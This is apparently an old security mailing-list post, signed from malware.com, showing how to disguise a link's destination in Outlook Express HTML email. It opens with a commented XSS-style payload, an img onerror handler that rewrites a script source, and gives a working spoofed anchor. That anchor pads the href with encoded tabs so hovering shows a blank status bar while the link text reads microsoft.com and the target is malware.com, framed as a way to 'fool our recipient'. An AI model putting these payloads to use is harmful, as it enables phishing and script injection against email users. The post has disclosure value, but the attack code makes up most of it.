<!-- http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a% 5Cx2f% 5Cx2f --> This is very interesting. A side 'benefit' is that we can mask our true url with the same scheme. For an href in html in order to mask the true destination the <a href="....>bloatedcorp.com</a>, can be manipulated by trivial javascript to generate a custom representation in the status bar to fool our recipient should they 'hover' the mouse over the link. This can be defeated quite simply like so: <A href="http://%09%09%09%09%09%09%09 09www.malware.com">http://www.microsoft.com</A> In an html mail message [default in Outlook Express] plus restricted zone in Outlook Express 6 [again default] where no scripting is allowed, the above link when presented to the recipient in an html email message, and tested by 'hovering' the mouse over it, yields nothing. Blank. Thereafter accepting the url, transports us to our site as required. End Call -- http://www.malware.com
